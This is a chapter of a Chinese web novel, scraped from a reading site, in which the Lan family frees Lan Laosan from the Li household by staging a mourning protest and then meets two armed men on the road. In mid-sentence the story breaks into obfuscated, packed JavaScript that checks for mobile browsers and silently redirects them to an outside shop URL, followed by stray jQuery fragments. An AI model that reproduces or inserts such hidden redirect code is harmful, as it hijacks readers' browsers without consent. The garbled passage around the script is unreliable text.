默认冷灰
24号文字
方正启体

11. 倒霉的兰老三

作者:涂夜本书字数:K更新时间:
    学习的事情商议妥当,兰融这才好奇起来:“你是什么时候学会算数的?”


    兰重脸上的红晕还没完全退下去,他有些不好意思地说道:“就是你缠着王爹爹出去玩的时候。”


    兰融和兰重虽是双生子,性子却截然不同。


    兰融开朗外向,喜欢热闹;兰重因着身体的缘故,并不爱人多的地方,也不喜欢长时间说话。与人接触久了,他便会觉得浑身疲惫,心里也紧绷得厉害。


    比起热闹嘈杂、甚至有些喧嚣的环境,他更喜欢安静地坐在一旁。


    兰融闲不住,总想着往外跑。起初她还会拉着兰重一道玩耍,可每次没多久,兰重便脸色发白。久而久之,兰融也不再勉强他出门。


    景宋推崇文治,近些年文风尤盛,大街小巷随处可见学堂私塾。只要不是太过贫寒的人家,多少都会让孩子早些开蒙,会算数、识字,将来便更容易寻到好些的活计。


    兰融比起枯坐学习,更喜欢街上的市井风俗;兰重一人清静,便反复研读王爹爹教过的内容,又让爹娘帮着查缺补漏。


    兰老三和石香楠虽不通诗文,却对算数颇有心得。熟能生巧之下,又教了兰重一些快速计算的小窍门。


    譬如末尾为“五”的相同两位数相乘,先将十位数字加一,再乘以原来的十位,所得作百位,最后加上二十五,便能得出答案。


    比如二十五乘二十五,便是二乘三乘一百,再加二十五,正好是六百二十五。


    这样的技巧让兰重着迷,闲暇时总要反复验证。


    于是,当兰融还在掰着指头算二十以内的加减时,兰重对千位以内的加减,已然十分熟练。


    兰融惊讶得睁大眼:“哇!原来你不是懒虫,还背着我偷偷学习!”


    兰重脸更红了,急急反驳:“王爹爹教你我二人,是你自己不愿学,怎么能说我背着你偷学?”


    兰融自诩讲理,听了这话,认同地点点头,又一本正经地夸道:“你还是很有先见之明的呀!”


    不像她,之前快活得很,如今却要慢慢补回来。


    说是要学,两个孩子便在屋里拿着小木雕当作数字,一遍又一遍地练习。


    半个时辰后——忍无可忍的兰重终于抬手,在兰融的手板上用力打了一下。


    这回换成兰融哭了。她“哇”的一声跑了出去,边跑边喊:“爹!娘!兰重打我!”


    听到那句习惯性脱口而出的“爹”,兰重脸上的血色一点点退去。


    他垂下眼,动作不自觉地慢了半拍。


    小木雕被他一枚一枚收好,摆得整整齐齐。


    兰重蜷起身子,闭上了眼。


    此时,陈州府的木匠铺里,兰老三正一脸恍惚地收拾着店里的东西。


    刨刀、凿子、木尺一件件归拢到一处,来不及摆好,只胡乱的堆做一团。


    他怎么也没想到,事情竟会这样顺利,李家就这么把他放出来了?


    会不会是他听错了?


    不。


    宁可信其有,不可信其无。


    兰老三用力搓了把脸,将最贵重的账本、房契一并揣进怀里,又把夫妻二人和孩子们常用的衣物简单叠好,塞进箱中。收拾妥当后,他走出屋子,朝院外问了一句:“二哥,车来了吗?”


    院中,兰老二正踮着脚,把柜子上那些精致的小木雕一件件取下,小心翼翼地放进垫了稻草的箱子里,头也没抬地应道:“来了。袁老四他们都不会赶车,我雇了两个车夫,一车拉东西,一车拉人。剩下的不多,我赶车,带你和大郎回去。”


    兰老三应了一声,心却始终悬着,砰砰直跳。


    他回头看了一眼铺面。


    往日里被木雕架子塞得满满当当的屋子,此刻竟显出一种从未有过的空旷。失了遮挡的墙面裸露出来,青灰色的斑驳痕迹清晰可见;原本堆在门边的木料、半成品,也被一扫而空,只剩下被踩磨得发亮的石板。


    不多时,两人便把贵重的东西尽数装了箱。除了后院那几件不便搬动的床架和柜子,其余物件几乎都清空了。


    兰老二赶车,兰老三和大郎靠在箱边。


    三人先绕去了一趟牙行,托牙人帮忙寻租户,又将钥匙等物交付清楚,这才不再多留,径直驾车出了城。


    车轮碾过城门外的土路,发出咯噔咯噔的声响。


    直到这一刻,兰老三才终于生出几分真实感。


    他望着远去的城门,低声喃喃:“竟然……这么容易就出来了。”


    兰老二一听这话,忍不住“嗨”了一声:“这还叫容易?我和袁老四他们,可是在李府后门熬了一整宿,这才把你救出来的!”


    兰老三听罢,忙让老二细细说来。


    兰老二挠了挠头,索性让大郎来讲。大郎也不推辞,从石香楠带着孩子们回村的事情说起。


    听到儿女高烧不退,兰老三眼眶当即红了;再听到石香楠双手冻得发僵肿胀,他更是忍不住连连捶胸,只恨自己信错了人,竟把全家都拖进了火坑。


    等他情绪稍稳,二人才将后头的事情一一道来。


    过程虽惊险,说出口却不过寥寥几句话。


    自太祖立国以来,朝廷以仁孝为治本。


    官员一旦遭逢父母之丧,便须丁忧三年,不得应试,不得任官。


    曾有记载,有一位格外倒霉的官员考上进士后,便逢母丧,守孝三年。期满继母,复亡再守三年。父亲娶的新妇去世,复又三年。期满父亲,又是三年。


    前后四次守孝,直到为父亲守完孝才结束,十二年未得出仕,待孝期尽时,已是须发半白。


    是以在景宋朝,孝道之重,远在契约与私约之上。


    有人曾私下议论,这都是因太祖无忠,便只能重孝。但这只是促狭的文人私下传扬,表面上一个比一个仁德忠孝。


    所谓不能违契,不过是托词。


    但是人扣在李家手里,就是找个托词不放人,兰家再有道理,又能跟谁讲呢。


    还是袁四想出了法子。


    几人在去到陈州府的路上,路过镇子里的木匠铺,买了几十个最便宜的灯架。众人边这样浩浩荡荡的抬着灯架到了李府。


    兰老二原还想着去到偏门,却被袁四一把拦住了。


    袁四一把拉住兰老二,带着身后那群小子径直朝后门去了。


    “兰二哥,”他压低了声音“那是主子们往来的门口,你去那儿,连人影都见不着。”


    到了李府后门,众人将来意说明。不多时,便有下人出来回话,说是姓刘的管事要与兰老二商议,请他进去一趟。


    袁四见状,下意识也要跟着进去,却被门房抬手拦住。


    “管事只请兰二爷一人。”


    兰老二只得独自进门。


    没过多久,又有下人出来传话,说管事已与兰老二谈妥


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16939709|192942||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,让众人先把灯架交出来收好,还说要等兰家老三那边收拾妥当,再一并放人,让大家稍安勿躁。


    众人你看看我,我看看你,稍作犹豫,终究还是把肩上的灯架一一交了出去。


    东西一走,人群里便空了几分。


    又等了一会儿,却始终不见兰老三的身影,反倒只见兰老二独自一人从门里出来。


    众人立刻围了上去,一问之下才知——


    兰老二根本连刘管事的面都没见到!


    此时灯架已被收走,人却不见,再去敲门时,门房却仿佛从未见过他们一般,问什么都只一句“不知”,一问三不知。


    这一下,众人哪里还能不明白?


    他们都走到这一步了,自然不能就这么空手回去。


    正当气氛僵住时,袁四忽然咬牙道:“灯架没了,那就来个更狠的。”


    话音未落,他已转身就走,直奔棺材铺而去。


    不多时,素布、麻衣被一股脑儿抱了回来,袁四手脚利索,抬手就要往兰家叔侄身上套。


    先前提过,景宋朝极重孝道,民间亦讲究“避谶”之说。所谓避谶,便是刻意回避不祥的言语与举动,以免一语成谶。凡涉及病痛、衰老、死亡之类的字眼,日常便多有忌讳,尤对自家长辈与孩童,更是慎之又慎,生怕招来晦气。


    披麻戴孝,这是大忌讳。


    兰老二犹豫的不想套在身上,袁四急了:“你要现在不套,说不得日后就要真穿上了!你就当自己是那殡肆里走出来的孝子,提前给李老太爷戴孝了!”


    大郎听完,二话不说,三下五除二便穿戴齐整。兰老二见状,也只得咬牙跟上。


    两人着白,身后跟着十数名青壮,一路乌泱泱地朝李府而去。


    还没到后门,便被人拦下。


    那人眉头紧锁,脸色黑沉:“你们是何人,竟敢来我李家闹事?”


    兰老二箭步上前,拦在众人前头,鼻涕眼泪一齐落下,声音几乎嘶哑:“还请管事开恩!我老父染了风寒,怕是熬不过去了,只想见我弟弟最后一面,府内的刘管事却被拦着不放,说家弟灯架还未做完。可怜我那老父亲,日日盼,夜夜盼,我们连夜赶制灯架送来,却被夺走!求您行行好吧!”


    那人听得脸色阴沉,只冷冷丢下一句:“在这等着。”


    人群中,眼尖的小个子瞧见巷子里停着一辆马车,低声示意袁四。


    袁四只低低说了一句:“哭大声些。”


    下一刻,哀声顿起,引得邻府纷纷隔着门缝张望。


    还未哭上几声,那人便快步返回,厉声喝道:“闭嘴!跟我来!”


    众人被领着到了后门处,不一会儿,就见到了兰老三。


    后头的事,兰老三也就都知道了。


    他望着二哥红肿未消的双眼,又看向大郎被寒风吹的皴裂脸颊,明白自己能从李府平安脱身的不易。


    一股酸意猛地冲上喉头。


    兰老三再也忍不住,泪眼婆娑地抱住兰老二,又伸手将大郎一并揽进怀里,喉咙发紧,正要开口说些什么——


    驴车却猛然一顿。


    车辕狠狠一颠,箱子里的东西撞出一声闷响,几人险些被甩下车去。


    只见两道身影从左右两侧跳出,站在大路中央。


    寒光乍现,长剑出鞘。


    那二人提剑而立,稳稳地拦在车前,去路被截得严严实实。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)